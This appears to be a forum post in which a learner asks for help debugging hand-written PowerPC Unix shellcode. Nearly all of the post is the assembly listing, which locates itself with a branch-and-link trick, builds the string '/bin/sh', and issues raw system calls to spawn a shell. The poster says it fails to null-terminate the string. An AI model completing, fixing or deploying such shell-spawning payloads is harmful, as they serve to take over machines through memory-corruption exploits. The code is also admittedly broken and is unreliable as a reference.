PPC UNIX Shellcode Creation

[Kajun11]

Hi ,I'm creating a PPC Unix shellcode and im having a little trouble so i was wondering if such smart people as yourselfs could give me a hand, this isn't very complex, since I'm still learning, but here is my problem. It doesn't seem to train the null byte after the init of /bin/sh. Could you please help me and see where I have gone wrong?

Any help at all is extremely appreciated


nop is 0x7ffffb78.

.section ".text"
.align 2
.globl m
.type m,@function

m:
xor 6,6,6
cmpi 7,0,6,0x7FFF
bc 13,28,L2
L1: mfspr 3,8
sth 6,-7(3)
sth 6,-15(3)
addi 4,6,0x7FF0
addi 5,6,0x7FF4
addi 7,6,0x7FF3
xor 5,5,4
xor 7,7,4
add 4,5,7
stbx 6,4,3
add 0,4,5
sub 7,5,7
add 4,5,5
stwx 3,3,4
add 4,3,4
stwx 6,5,4
xor 5,5,5
.long 0x44ffff02
or 0,7,7
.long 0x44ffff02
L2: bl L1
.long 0x2F62696E
.long 0x2F73685A
.long 0xffffffff
.long 0xffffffff

.Lfe1:
.size m,.Lfe1-m